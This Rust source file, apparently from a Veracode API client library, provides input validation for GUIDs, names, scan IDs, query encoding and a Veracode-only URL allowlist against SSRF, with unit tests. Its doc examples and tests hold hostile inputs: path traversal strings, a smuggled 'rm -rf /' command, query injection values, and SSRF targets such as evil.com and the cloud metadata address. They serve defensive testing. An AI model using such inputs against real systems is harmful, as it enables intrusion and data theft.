veracode_platform/
validation.rs

1//! Input validation types and utilities for defensive programming.
2//!
3//! This module provides validated wrapper types that ensure data meets
4//! security and business requirements before being used in API operations.
5
6use serde::{Deserialize, Serialize};
7use std::fmt;
8use std::sync::OnceLock;
9use thiserror::Error;
10use url::Url;
11use urlencoding::encode;
12
13/// Maximum length for application names
14pub const MAX_APP_NAME_LEN: usize = 255;
15
16/// Maximum length for application descriptions
17pub const MAX_DESCRIPTION_LEN: usize = 4096;
18
19/// Maximum length for business unit names
20pub const MAX_BUSINESS_UNIT_NAME_LEN: usize = 255;
21
22/// Maximum number of teams per application
23pub const MAX_TEAMS_COUNT: usize = 100;
24
25/// Maximum number of custom fields
26pub const MAX_CUSTOM_FIELDS_COUNT: usize = 50;
27
28/// Maximum length for tag values
29pub const MAX_TAG_VALUE_LEN: usize = 128;
30
31/// Maximum GUID length
32pub const MAX_GUID_LEN: usize = 128;
33
34/// Maximum scan ID length
35pub const MAX_SCAN_ID_LEN: usize = 128;
36
37/// Default page size for pagination
38pub const DEFAULT_PAGE_SIZE: u32 = 50;
39
40/// Maximum page size for pagination
41pub const MAX_PAGE_SIZE: u32 = 500;
42
43/// Maximum page number for pagination
44pub const MAX_PAGE_NUMBER: u32 = 10000;
45
46/// Validation errors for input data
47#[derive(Debug, Error)]
48#[must_use = "Need to handle all error enum types."]
49pub enum ValidationError {
50    #[error("Application GUID cannot be empty")]
51    EmptyGuid,
52
53    #[error("Application GUID too long: {actual} chars (max: {max})")]
54    GuidTooLong { actual: usize, max: usize },
55
56    #[error("Invalid GUID format: {0}")]
57    InvalidGuidFormat(String),
58
59    #[error("Invalid characters in GUID (possible path traversal)")]
60    InvalidCharactersInGuid,
61
62    #[error("Application name cannot be empty")]
63    EmptyApplicationName,
64
65    #[error("Application name too long: {actual} chars (max: {max})")]
66    ApplicationNameTooLong { actual: usize, max: usize },
67
68    #[error("Invalid characters in application name")]
69    InvalidCharactersInName,
70
71    #[error("Suspicious pattern in application name (possible path traversal)")]
72    SuspiciousNamePattern,
73
74    #[error("Description too long: {actual} chars (max: {max})")]
75    DescriptionTooLong { actual: usize, max: usize },
76
77    #[error("Description contains null byte")]
78    NullByteInDescription,
79
80    #[error("Too many teams: {actual} (max: {max})")]
81    TooManyTeams { actual: usize, max: usize },
82
83    #[error("Too many custom fields: {actual} (max: {max})")]
84    TooManyCustomFields { actual: usize, max: usize },
85
86    #[error("Invalid page size: {0} (must be 1-{MAX_PAGE_SIZE})")]
87    InvalidPageSize(u32),
88
89    #[error("Page size too large: {0} (max: {MAX_PAGE_SIZE})")]
90    PageSizeTooLarge(u32),
91
92    #[error("Page number too large: {0} (max: {MAX_PAGE_NUMBER})")]
93    PageNumberTooLarge(u32),
94
95    #[error("Empty URL segment not allowed")]
96    EmptySegment,
97
98    #[error("URL segment too long: {actual} chars (max: {max})")]
99    SegmentTooLong { actual: usize, max: usize },
100
101    #[error("Invalid path characters (possible path traversal)")]
102    InvalidPathCharacters,
103
104    #[error("Control characters not allowed")]
105    ControlCharactersNotAllowed,
106
107    #[error("Query encoding failed: {0}")]
108    QueryEncodingFailed(String),
109
110    #[error("Invalid URL: {0}")]
111    InvalidUrl(String),
112
113    #[error("URL must be from veracode.com, veracode.eu, or veracode.us domain, got: {0}")]
114    InvalidDomain(String),
115
116    #[error("Only HTTPS URLs are allowed, got scheme: {0}")]
117    InsecureScheme(String),
118
119    #[error("Scan ID cannot be empty")]
120    EmptyScanId,
121
122    #[error("Scan ID too long: {actual} chars (max: {max})")]
123    ScanIdTooLong { actual: usize, max: usize },
124
125    #[error("Invalid characters in scan ID (only alphanumeric, hyphens, and underscores allowed)")]
126    InvalidScanIdCharacters,
127}
128
129/// Validated application GUID - ensures format compliance and prevents injection
130#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
131#[serde(transparent)]
132pub struct AppGuid(String);
133
134impl AppGuid {
135    /// UUID v4 format pattern
136    const VALID_GUID_PATTERN: &'static str =
137        r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$";
138
139    /// Returns a lazily-initialized compiled UUID regex.
140    ///
141    /// The regex is compiled only once at first use and cached for subsequent calls,
142    /// preventing `DoS` attacks from repeated regex compilation in high-throughput scenarios.
143    fn uuid_regex() -> &'static regex::Regex {
144        static UUID_REGEX: OnceLock<regex::Regex> = OnceLock::new();
145        #[allow(clippy::expect_used)] // Compile-time constant regex pattern, safe to expect
146        UUID_REGEX.get_or_init(|| {
147            regex::Regex::new(Self::VALID_GUID_PATTERN)
148                .expect("VALID_GUID_PATTERN is a valid regex")
149        })
150    }
151
152    /// Validates and constructs a new `AppGuid`
153    ///
154    /// # Errors
155    ///
156    /// Returns an error if the GUID is empty, exceeds maximum length, contains invalid
157    /// characters, or doesn't match the expected UUID format.
158    ///
159    /// # Panics
160    ///
161    /// This function contains an `expect()` call on a compile-time constant regex pattern
162    /// which should never panic in practice.
163    pub fn new(guid: impl Into<String>) -> Result<Self, ValidationError> {
164        let guid = guid.into();
165
166        // Check not empty
167        if guid.is_empty() {
168            return Err(ValidationError::EmptyGuid);
169        }
170
171        // Check length bounds
172        if guid.len() > MAX_GUID_LEN {
173            return Err(ValidationError::GuidTooLong {
174                actual: guid.len(),
175                max: MAX_GUID_LEN,
176            });
177        }
178
179        // Validate UUID format using cached compiled regex
180        if !Self::uuid_regex().is_match(&guid) {
181            return Err(ValidationError::InvalidGuidFormat(guid));
182        }
183
184        // Additional security: reject path separators and traversal sequences
185        if guid.contains('/') || guid.contains('\\') || guid.contains("..") {
186            return Err(ValidationError::InvalidCharactersInGuid);
187        }
188
189        Ok(Self(guid))
190    }
191
192    /// Get the GUID as a string slice
193    #[must_use = "this method returns the inner value without modifying the type"]
194    pub fn as_str(&self) -> &str {
195        &self.0
196    }
197
198    /// Get URL-safe representation (for path segments)
199    #[must_use = "this method returns the inner value without modifying the type"]
200    pub fn as_url_safe(&self) -> &str {
201        // UUIDs are already URL-safe (only contain [0-9a-fA-F-])
202        &self.0
203    }
204}
205
206impl fmt::Display for AppGuid {
207    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
208        write!(f, "{}", self.0)
209    }
210}
211
212impl AsRef<str> for AppGuid {
213    fn as_ref(&self) -> &str {
214        &self.0
215    }
216}
217
218/// Validated application name
219#[derive(Debug, Clone, PartialEq, Eq, Hash, Serialize, Deserialize)]
220#[serde(transparent)]
221pub struct AppName(String);
222
223impl AppName {
224    ///
225    /// # Errors
226    ///
227    /// Returns an error if validation fails due to invalid input parameters.
228    /// Validates and constructs a new `AppName`
229    ///
230    /// # Errors
231    ///
232    /// Returns an error if validation fails due to invalid input parameters.
233    pub fn new(name: impl Into<String>) -> Result<Self, ValidationError> {
234        let name = name.into();
235
236        // Trim and check not empty
237        let trimmed = name.trim();
238        if trimmed.is_empty() {
239            return Err(ValidationError::EmptyApplicationName);
240        }
241
242        // Check length
243        if trimmed.len() > MAX_APP_NAME_LEN {
244            return Err(ValidationError::ApplicationNameTooLong {
245                actual: trimmed.len(),
246                max: MAX_APP_NAME_LEN,
247            });
248        }
249
250        // Check for control characters
251        if trimmed.chars().any(|c| c.is_control()) {
252            return Err(ValidationError::InvalidCharactersInName);
253        }
254
255        // Reject names that look like path traversal attempts
256        if trimmed.contains("..") || trimmed.contains('/') || trimmed.contains('\\') {
257            return Err(ValidationError::SuspiciousNamePattern);
258        }
259
260        Ok(Self(trimmed.to_string()))
261    }
262
263    /// Get the name as a string slice
264    #[must_use = "this method returns the inner value without modifying the type"]
265    pub fn as_str(&self) -> &str {
266        &self.0
267    }
268}
269
270impl fmt::Display for AppName {
271    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
272        write!(f, "{}", self.0)
273    }
274}
275
276impl AsRef<str> for AppName {
277    fn as_ref(&self) -> &str {
278        &self.0
279    }
280}
281
282/// Validated description with length bounds
283#[derive(Debug, Clone, Serialize, Deserialize)]
284#[serde(transparent)]
285pub struct Description(String);
286
287impl Description {
288    /// Validates and constructs a new Description
289    ///
290    /// # Errors
291    ///
292    /// Returns an error if validation fails due to invalid input parameters.
293    pub fn new(desc: impl Into<String>) -> Result<Self, ValidationError> {
294        let desc = desc.into();
295
296        // Check length
297        if desc.len() > MAX_DESCRIPTION_LEN {
298            return Err(ValidationError::DescriptionTooLong {
299                actual: desc.len(),
300                max: MAX_DESCRIPTION_LEN,
301            });
302        }
303
304        // Reject descriptions with null bytes
305        if desc.contains('\0') {
306            return Err(ValidationError::NullByteInDescription);
307        }
308
309        Ok(Self(desc))
310    }
311
312    /// Get the description as a string slice
313    #[must_use = "this method returns the inner value without modifying the type"]
314    pub fn as_str(&self) -> &str {
315        &self.0
316    }
317}
318
319impl fmt::Display for Description {
320    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
321        write!(f, "{}", self.0)
322    }
323}
324
325impl AsRef<str> for Description {
326    fn as_ref(&self) -> &str {
327        &self.0
328    }
329}
330
331/// Validates a URL path segment to prevent injection
332///
333/// # Errors
334///
335/// Returns an error if validation fails due to invalid input parameters.
336pub fn validate_url_segment(segment: &str, max_len: usize) -> Result<&str, ValidationError> {
337    if segment.is_empty() {
338        return Err(ValidationError::EmptySegment);
339    }
340
341    if segment.len() > max_len {
342        return Err(ValidationError::SegmentTooLong {
343            actual: segment.len(),
344            max: max_len,
345        });
346    }
347
348    // Reject path traversal sequences
349    if segment.contains("..") || segment.contains('/') || segment.contains('\\') {
350        return Err(ValidationError::InvalidPathCharacters);
351    }
352
353    // Reject control characters
354    if segment.chars().any(|c| c.is_control()) {
355        return Err(ValidationError::ControlCharactersNotAllowed);
356    }
357
358    Ok(segment)
359}
360
361/// Validates and normalizes a page size parameter.
362///
363/// This function ensures that page sizes are within safe bounds to prevent
364/// resource exhaustion attacks.
365///
366/// # Behavior
367///
368/// - Returns `DEFAULT_PAGE_SIZE` if `None` is provided
369/// - Rejects page size of 0
370/// - Caps page size at `MAX_PAGE_SIZE` with warning log
371/// - Returns the validated page size
372///
373/// # Returns
374///
375/// A `Result` containing the validated page size or a `ValidationError`.
376///
377/// # Security
378///
379///
380/// # Errors
381///
382/// Returns an error if the API request fails, the resource is not found,
383/// or authentication/authorization fails.
384/// This function prevents `DoS` attacks from unbounded pagination requests.
385///
386/// # Examples
387///
388/// ```
389/// use veracode_platform::validation::{validate_page_size, DEFAULT_PAGE_SIZE, MAX_PAGE_SIZE};
390///
391/// // Default when None
392/// assert_eq!(validate_page_size(None).unwrap(), DEFAULT_PAGE_SIZE);
393///
394/// // Normal value passes through
395/// assert_eq!(validate_page_size(Some(100)).unwrap(), 100);
396///
397/// // Zero is rejected
398/// assert!(validate_page_size(Some(0)).is_err());
399///
400/// // Too large is capped (with warning log)
401/// assert_eq!(validate_page_size(Some(10000)).unwrap(), MAX_PAGE_SIZE);
402/// ```
403///
404/// # Errors
405///
406/// Returns an error if validation fails due to invalid input parameters.
407pub fn validate_page_size(size: Option<u32>) -> Result<u32, ValidationError> {
408    match size {
409        None => Ok(DEFAULT_PAGE_SIZE),
410        Some(0) => Err(ValidationError::InvalidPageSize(0)),
411        Some(s) if s > MAX_PAGE_SIZE => {
412            log::warn!(
413                "Page size {} exceeds maximum {}, capping to maximum",
414                s,
415                MAX_PAGE_SIZE
416            );
417            Ok(MAX_PAGE_SIZE)
418        }
419        Some(s) => Ok(s),
420    }
421}
422
423/// Validates and normalizes a page number parameter.
424///
425/// This function ensures that page numbers are within safe bounds to prevent
426/// resource exhaustion attacks.
427///
428/// # Behavior
429///
430/// - Returns `None` if `None` is provided (use API default, typically 0)
431/// - Caps page number at `MAX_PAGE_NUMBER` with warning log
432/// - Returns the validated page number
433///
434/// # Returns
435///
436/// A `Result` containing the validated page number or a `ValidationError`.
437///
438/// # Security
439///
440///
441/// # Errors
442///
443/// Returns an error if the API request fails, the resource is not found,
444/// or authentication/authorization fails.
445/// This function prevents `DoS` attacks from unbounded pagination requests.
446///
447/// # Examples
448///
449/// ```
450/// use veracode_platform::validation::{validate_page_number, MAX_PAGE_NUMBER};
451///
452/// // None passes through
453/// assert_eq!(validate_page_number(None).unwrap(), None);
454///
455/// // Normal value passes through
456/// assert_eq!(validate_page_number(Some(10)).unwrap(), Some(10));
457///
458/// // Too large is capped (with warning log)
459/// assert_eq!(validate_page_number(Some(99999)).unwrap(), Some(MAX_PAGE_NUMBER));
460/// ```
461///
462/// # Errors
463///
464/// Returns an error if validation fails due to invalid input parameters.
465pub fn validate_page_number(page: Option<u32>) -> Result<Option<u32>, ValidationError> {
466    match page {
467        None => Ok(None),
468        Some(p) if p > MAX_PAGE_NUMBER => {
469            log::warn!(
470                "Page number {} exceeds maximum {}, capping to maximum",
471                p,
472                MAX_PAGE_NUMBER
473            );
474            Ok(Some(MAX_PAGE_NUMBER))
475        }
476        Some(p) => Ok(Some(p)),
477    }
478}
479
480/// Encodes a query parameter value for safe use in URLs.
481///
482/// This function prevents query parameter injection attacks by properly
483/// URL-encoding special characters that could be used to inject additional
484/// parameters or manipulate the query string.
485///
486/// # Security
487///
488/// This function prevents injection attacks like:
489/// - `"foo&admin=true"` → `"foo%26admin%3Dtrue"`
490/// - `"test;rm -rf /"` → `"test%3Brm%20-rf%20%2F"`
491///
492/// # Examples
493///
494/// ```
495/// use veracode_platform::validation::encode_query_param;
496///
497/// // Normal values pass through unchanged
498/// assert_eq!(encode_query_param("MyApp"), "MyApp");
499///
500/// // Special characters are encoded
501/// assert_eq!(encode_query_param("foo&bar"), "foo%26bar");
502/// assert_eq!(encode_query_param("key=value"), "key%3Dvalue");
503/// assert_eq!(encode_query_param("test;command"), "test%3Bcommand");
504/// ```
505#[must_use = "this function performs URL encoding and returns the encoded value"]
506pub fn encode_query_param(value: &str) -> String {
507    encode(value).into_owned()
508}
509
510/// Safely builds a query parameter tuple with URL encoding.
511///
512/// This is a convenience function for building query parameter tuples
513/// with proper URL encoding applied to the value.
514///
515/// # Security
516///
517/// Prevents query parameter injection by encoding special characters.
518///
519/// # Examples
520///
521/// ```
522/// use veracode_platform::validation::build_query_param;
523///
524/// let param = build_query_param("name", "My App & Co");
525/// assert_eq!(param.0, "name");
526/// assert_eq!(param.1, "My%20App%20%26%20Co");
527/// ```
528#[must_use = "this function builds and returns a query parameter tuple"]
529pub fn build_query_param(key: &str, value: &str) -> (String, String) {
530    (key.to_string(), encode_query_param(value))
531}
532
533/// Validates that a URL is from an allowed Veracode domain (SSRF protection).
534///
535/// This function prevents Server-Side Request Forgery (SSRF) attacks by validating
536/// that URLs returned in API responses are from legitimate Veracode domains across
537/// all supported regions (Commercial, European, Federal).
538///
539/// # Allowed Domains
540///
541/// - Commercial: `*.veracode.com` (api.veracode.com, analysiscenter.veracode.com)
542/// - European: `*.veracode.eu` (api.veracode.eu, analysiscenter.veracode.eu)
543/// - Federal: `*.veracode.us` (api.veracode.us, analysiscenter.veracode.us)
544///
545/// # Security
546///
547/// Without this validation, an attacker who compromises API responses could redirect
548/// requests to:
549/// - Internal services (AWS metadata endpoints, localhost services)
550/// - Private network ranges (192.168.x.x, 10.x.x.x)
551/// - External malicious servers to steal authentication headers
552///
553/// # Arguments
554///
555/// * `url_str` - The URL string to validate
556///
557/// # Returns
558///
559/// Returns `Ok(())` if the URL is valid and from an allowed Veracode domain.
560///
561/// # Errors
562///
563/// Returns `ValidationError::InvalidUrl` if the URL cannot be parsed.
564/// Returns `ValidationError::InsecureScheme` if the URL is not HTTPS.
565/// Returns `ValidationError::InvalidDomain` if the URL is not from a Veracode domain.
566///
567/// # Examples
568///
569/// ```
570/// use veracode_platform::validation::validate_veracode_url;
571///
572/// // Valid Veracode URLs
573/// assert!(validate_veracode_url("https://api.veracode.com/appsec/v1/applications").is_ok());
574/// assert!(validate_veracode_url("https://api.veracode.eu/appsec/v1/applications").is_ok());
575/// assert!(validate_veracode_url("https://api.veracode.us/appsec/v1/applications").is_ok());
576///
577/// // Invalid - not HTTPS
578/// assert!(validate_veracode_url("http://api.veracode.com/test").is_err());
579///
580/// // Invalid - wrong domain (SSRF attempt)
581/// assert!(validate_veracode_url("https://evil.com/test").is_err());
582/// assert!(validate_veracode_url("https://localhost:8080/admin").is_err());
583/// ```
584pub fn validate_veracode_url(url_str: &str) -> Result<(), ValidationError> {
585    // Parse the URL
586    let parsed_url = Url::parse(url_str)
587        .map_err(|e| ValidationError::InvalidUrl(format!("Failed to parse URL: {}", e)))?;
588
589    // Only allow HTTPS (reject HTTP to prevent downgrade attacks)
590    if parsed_url.scheme() != "https" {
591        return Err(ValidationError::InsecureScheme(
592            parsed_url.scheme().to_string(),
593        ));
594    }
595
596    // Validate the host is from Veracode
597    let host = parsed_url
598        .host_str()
599        .ok_or_else(|| ValidationError::InvalidUrl("URL missing host".to_string()))?;
600
601    // Allow known Veracode domains across all regions:
602    // - Commercial: *.veracode.com
603    // - European: *.veracode.eu
604    // - Federal: *.veracode.us
605    let is_allowed = host.ends_with(".veracode.com")
606        || host.ends_with(".veracode.eu")
607        || host.ends_with(".veracode.us")
608        || host == "api.veracode.com"
609        || host == "api.veracode.eu"
610        || host == "api.veracode.us"
611        || host == "analysiscenter.veracode.com"
612        || host == "analysiscenter.veracode.eu"
613        || host == "analysiscenter.veracode.us";
614
615    if !is_allowed {
616        return Err(ValidationError::InvalidDomain(host.to_string()));
617    }
618
619    Ok(())
620}
621
622/// Validates a scan ID to prevent path traversal and injection attacks.
623///
624/// This function ensures that scan IDs used in URL construction are safe and
625/// cannot be used for path traversal attacks or to access unauthorized resources.
626///
627/// # Security
628///
629/// Without this validation, an attacker could inject path traversal sequences:
630/// - `"../../../admin/scans"` → Access admin endpoints
631/// - `"abc?admin=true"` → Inject query parameters
632/// - `"valid_id/../../other_id"` → Access other users' scans
633///
634/// # Allowed Characters
635///
636/// - Alphanumeric: `a-z`, `A-Z`, `0-9`
637/// - Hyphens: `-`
638/// - Underscores: `_`
639///
640/// # Arguments
641///
642/// * `scan_id` - The scan ID to validate
643///
644/// # Returns
645///
646/// Returns `Ok(())` if the scan ID is valid.
647///
648/// # Errors
649///
650/// Returns `ValidationError::EmptyScanId` if the scan ID is empty.
651/// Returns `ValidationError::ScanIdTooLong` if the scan ID exceeds maximum length.
652/// Returns `ValidationError::InvalidScanIdCharacters` if the scan ID contains invalid characters.
653///
654/// # Examples
655///
656/// ```
657/// use veracode_platform::validation::validate_scan_id;
658///
659/// // Valid scan IDs
660/// assert!(validate_scan_id("abc123").is_ok());
661/// assert!(validate_scan_id("scan-id-123").is_ok());
662/// assert!(validate_scan_id("SCAN_ID_456").is_ok());
663///
664/// // Invalid - path traversal
665/// assert!(validate_scan_id("../admin").is_err());
666///
667/// // Invalid - special characters
668/// assert!(validate_scan_id("scan?admin=true").is_err());
669/// assert!(validate_scan_id("scan/path").is_err());
670/// ```
671pub fn validate_scan_id(scan_id: &str) -> Result<(), ValidationError> {
672    // Check not empty
673    if scan_id.is_empty() {
674        return Err(ValidationError::EmptyScanId);
675    }
676
677    // Check length bounds
678    if scan_id.len() > MAX_SCAN_ID_LEN {
679        return Err(ValidationError::ScanIdTooLong {
680            actual: scan_id.len(),
681            max: MAX_SCAN_ID_LEN,
682        });
683    }
684
685    // Only allow alphanumeric characters, hyphens, and underscores
686    // This prevents path traversal (.., /, \) and injection attacks (?, &, =, etc.)
687    if !scan_id
688        .chars()
689        .all(|c| c.is_alphanumeric() || c == '-' || c == '_')
690    {
691        return Err(ValidationError::InvalidScanIdCharacters);
692    }
693
694    Ok(())
695}
696
697#[cfg(test)]
698#[allow(clippy::expect_used)]
699mod tests {
700    use super::*;
701
702    #[test]
703    fn test_app_guid_valid() {
704        let guid =
705            AppGuid::new("550e8400-e29b-41d4-a716-446655440000").expect("should create valid guid");
706        assert_eq!(guid.as_str(), "550e8400-e29b-41d4-a716-446655440000");
707    }
708
709    #[test]
710    fn test_app_guid_invalid_format() {
711        assert!(AppGuid::new("not-a-guid").is_err());
712        assert!(AppGuid::new("12345").is_err());
713        assert!(AppGuid::new("").is_err());
714    }
715
716    #[test]
717    fn test_app_guid_path_traversal() {
718        assert!(AppGuid::new("../etc/passwd").is_err());
719        assert!(AppGuid::new("550e8400/../test").is_err());
720    }
721
722    #[test]
723    fn test_app_name_valid() {
724        let name = AppName::new("My Application").expect("should create valid app name");
725        assert_eq!(name.as_str(), "My Application");
726    }
727
728    #[test]
729    fn test_app_name_trims_whitespace() {
730        let name = AppName::new("  Trimmed  ").expect("should create valid app name");
731        assert_eq!(name.as_str(), "Trimmed");
732    }
733
734    #[test]
735    fn test_app_name_empty() {
736        assert!(AppName::new("").is_err());
737        assert!(AppName::new("   ").is_err());
738    }
739
740    #[test]
741    fn test_app_name_too_long() {
742        let long_name = "a".repeat(MAX_APP_NAME_LEN + 1);
743        assert!(AppName::new(long_name).is_err());
744    }
745
746    #[test]
747    fn test_app_name_path_traversal() {
748        assert!(AppName::new("../etc/passwd").is_err());
749        assert!(AppName::new("test/../admin").is_err());
750        assert!(AppName::new("test/admin").is_err());
751    }
752
753    #[test]
754    fn test_description_valid() {
755        let desc = Description::new("This is a valid description")
756            .expect("should create valid description");
757        assert_eq!(desc.as_str(), "This is a valid description");
758    }
759
760    #[test]
761    fn test_description_too_long() {
762        let long_desc = "a".repeat(MAX_DESCRIPTION_LEN + 1);
763        assert!(Description::new(long_desc).is_err());
764    }
765
766    #[test]
767    fn test_description_null_byte() {
768        assert!(Description::new("test\0null").is_err());
769    }
770
771    #[test]
772    fn test_validate_url_segment() {
773        assert!(validate_url_segment("valid-segment", 100).is_ok());
774        assert!(validate_url_segment("", 100).is_err());
775        assert!(validate_url_segment("../traversal", 100).is_err());
776        assert!(validate_url_segment("test/path", 100).is_err());
777    }
778
779    #[test]
780    fn test_validate_page_size_default() {
781        let result = validate_page_size(None).expect("should return default");
782        assert_eq!(result, DEFAULT_PAGE_SIZE);
783    }
784
785    #[test]
786    fn test_validate_page_size_valid() {
787        let result = validate_page_size(Some(100)).expect("should accept valid size");
788        assert_eq!(result, 100);
789
790        let result = validate_page_size(Some(MAX_PAGE_SIZE)).expect("should accept max size");
791        assert_eq!(result, MAX_PAGE_SIZE);
792    }
793
794    #[test]
795    fn test_validate_page_size_zero() {
796        let result = validate_page_size(Some(0));
797        assert!(result.is_err());
798        assert!(matches!(result, Err(ValidationError::InvalidPageSize(0))));
799    }
800
801    #[test]
802    fn test_validate_page_size_too_large() {
803        let result = validate_page_size(Some(1000)).expect("should cap to max");
804        assert_eq!(result, MAX_PAGE_SIZE);
805
806        let result = validate_page_size(Some(u32::MAX)).expect("should cap to max");
807        assert_eq!(result, MAX_PAGE_SIZE);
808    }
809
810    #[test]
811    fn test_validate_page_number_none() {
812        let result = validate_page_number(None).expect("should accept None");
813        assert_eq!(result, None);
814    }
815
816    #[test]
817    fn test_validate_page_number_valid() {
818        let result = validate_page_number(Some(10)).expect("should accept valid page");
819        assert_eq!(result, Some(10));
820
821        let result = validate_page_number(Some(MAX_PAGE_NUMBER)).expect("should accept max page");
822        assert_eq!(result, Some(MAX_PAGE_NUMBER));
823    }
824
825    #[test]
826    fn test_validate_page_number_too_large() {
827        let result = validate_page_number(Some(50000)).expect("should cap to max");
828        assert_eq!(result, Some(MAX_PAGE_NUMBER));
829
830        let result = validate_page_number(Some(u32::MAX)).expect("should cap to max");
831        assert_eq!(result, Some(MAX_PAGE_NUMBER));
832    }
833
834    #[test]
835    fn test_encode_query_param_normal() {
836        assert_eq!(encode_query_param("MyApp"), "MyApp");
837        assert_eq!(encode_query_param("test-app"), "test-app");
838        assert_eq!(encode_query_param("app_123"), "app_123");
839    }
840
841    #[test]
842    fn test_encode_query_param_injection_attempts() {
843        // Test ampersand injection
844        assert_eq!(encode_query_param("foo&admin=true"), "foo%26admin%3Dtrue");
845
846        // Test equals sign injection
847        assert_eq!(encode_query_param("key=value"), "key%3Dvalue");
848
849        // Test semicolon injection
850        assert_eq!(encode_query_param("test;command"), "test%3Bcommand");
851
852        // Test percent sign (double encoding protection)
853        assert_eq!(encode_query_param("50%off"), "50%25off");
854
855        // Test space
856        assert_eq!(encode_query_param("My App"), "My%20App");
857
858        // Test multiple special characters
859        assert_eq!(
860            encode_query_param("foo&bar=baz;test%data"),
861            "foo%26bar%3Dbaz%3Btest%25data"
862        );
863    }
864
865    #[test]
866    fn test_encode_query_param_path_traversal() {
867        assert_eq!(encode_query_param("../etc/passwd"), "..%2Fetc%2Fpasswd");
868        assert_eq!(encode_query_param("..\\windows"), "..%5Cwindows");
869    }
870
871    #[test]
872    fn test_build_query_param() {
873        let param = build_query_param("name", "MyApp");
874        assert_eq!(param.0, "name");
875        assert_eq!(param.1, "MyApp");
876
877        let param = build_query_param("name", "My App & Co");
878        assert_eq!(param.0, "name");
879        assert_eq!(param.1, "My%20App%20%26%20Co");
880
881        let param = build_query_param("filter", "status=active");
882        assert_eq!(param.0, "filter");
883        assert_eq!(param.1, "status%3Dactive");
884    }
885
886    #[test]
887    fn test_validate_veracode_url_commercial() {
888        assert!(validate_veracode_url("https://api.veracode.com/appsec/v1/applications").is_ok());
889        assert!(
890            validate_veracode_url("https://analysiscenter.veracode.com/api/5.0/getapplist.do")
891                .is_ok()
892        );
893    }
894
895    #[test]
896    fn test_validate_veracode_url_european() {
897        assert!(validate_veracode_url("https://api.veracode.eu/appsec/v1/applications").is_ok());
898        assert!(
899            validate_veracode_url("https://analysiscenter.veracode.eu/api/5.0/getapplist.do")
900                .is_ok()
901        );
902    }
903
904    #[test]
905    fn test_validate_veracode_url_federal() {
906        assert!(validate_veracode_url("https://api.veracode.us/appsec/v1/applications").is_ok());
907        assert!(
908            validate_veracode_url("https://analysiscenter.veracode.us/api/5.0/getapplist.do")
909                .is_ok()
910        );
911    }
912
913    #[test]
914    fn test_validate_veracode_url_subdomain() {
915        // Allow subdomains like pipeline.veracode.com
916        assert!(validate_veracode_url("https://pipeline.veracode.com/v1/scan").is_ok());
917        assert!(validate_veracode_url("https://results.veracode.eu/report").is_ok());
918    }
919
920    #[test]
921    fn test_validate_veracode_url_reject_http() {
922        let result = validate_veracode_url("http://api.veracode.com/test");
923        assert!(result.is_err());
924        assert!(matches!(result, Err(ValidationError::InsecureScheme(_))));
925    }
926
927    #[test]
928    fn test_validate_veracode_url_reject_wrong_domain() {
929        // SSRF attempt - external domain
930        let result = validate_veracode_url("https://evil.com/test");
931        assert!(result.is_err());
932        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
933
934        // SSRF attempt - localhost
935        let result = validate_veracode_url("https://localhost:8080/admin");
936        assert!(result.is_err());
937        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
938
939        // SSRF attempt - internal IP
940        let result = validate_veracode_url("https://192.168.1.1/admin");
941        assert!(result.is_err());
942        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
943
944        // SSRF attempt - AWS metadata
945        let result = validate_veracode_url("https://169.254.169.254/latest/meta-data/");
946        assert!(result.is_err());
947        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
948    }
949
950    #[test]
951    fn test_validate_veracode_url_reject_similar_domain() {
952        // Typosquatting attempt
953        let result = validate_veracode_url("https://api.veracode.com.evil.com/test");
954        assert!(result.is_err());
955        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
956
957        // Wrong TLD
958        let result = validate_veracode_url("https://api.veracode.org/test");
959        assert!(result.is_err());
960        assert!(matches!(result, Err(ValidationError::InvalidDomain(_))));
961    }
962
963    #[test]
964    fn test_validate_veracode_url_invalid_format() {
965        let result = validate_veracode_url("not-a-url");
966        assert!(result.is_err());
967        assert!(matches!(result, Err(ValidationError::InvalidUrl(_))));
968
969        let result = validate_veracode_url("");
970        assert!(result.is_err());
971        assert!(matches!(result, Err(ValidationError::InvalidUrl(_))));
972    }
973
974    #[test]
975    fn test_validate_scan_id_valid() {
976        assert!(validate_scan_id("abc123").is_ok());
977        assert!(validate_scan_id("scan-id-123").is_ok());
978        assert!(validate_scan_id("SCAN_ID_456").is_ok());
979        assert!(validate_scan_id("a1b2c3-d4e5-f6").is_ok());
980        assert!(validate_scan_id("123456789").is_ok());
981        assert!(validate_scan_id("test_scan_123").is_ok());
982    }
983
984    #[test]
985    fn test_validate_scan_id_empty() {
986        let result = validate_scan_id("");
987        assert!(result.is_err());
988        assert!(matches!(result, Err(ValidationError::EmptyScanId)));
989    }
990
991    #[test]
992    fn test_validate_scan_id_too_long() {
993        let long_id = "a".repeat(MAX_SCAN_ID_LEN + 1);
994        let result = validate_scan_id(&long_id);
995        assert!(result.is_err());
996        assert!(matches!(result, Err(ValidationError::ScanIdTooLong { .. })));
997    }
998
999    #[test]
1000    fn test_validate_scan_id_path_traversal() {
1001        // Path traversal with ..
1002        let result = validate_scan_id("../admin");
1003        assert!(result.is_err());
1004        assert!(matches!(
1005            result,
1006            Err(ValidationError::InvalidScanIdCharacters)
1007        ));
1008
1009        let result = validate_scan_id("scan/../other");
1010        assert!(result.is_err());
1011        assert!(matches!(
1012            result,
1013            Err(ValidationError::InvalidScanIdCharacters)
1014        ));
1015
1016        // Path separator /
1017        let result = validate_scan_id("scan/path");
1018        assert!(result.is_err());
1019        assert!(matches!(
1020            result,
1021            Err(ValidationError::InvalidScanIdCharacters)
1022        ));
1023
1024        // Path separator \
1025        let result = validate_scan_id("scan\\path");
1026        assert!(result.is_err());
1027        assert!(matches!(
1028            result,
1029            Err(ValidationError::InvalidScanIdCharacters)
1030        ));
1031    }
1032
1033    #[test]
1034    fn test_validate_scan_id_injection_attempts() {
1035        // Query string injection
1036        let result = validate_scan_id("scan?admin=true");
1037        assert!(result.is_err());
1038        assert!(matches!(
1039            result,
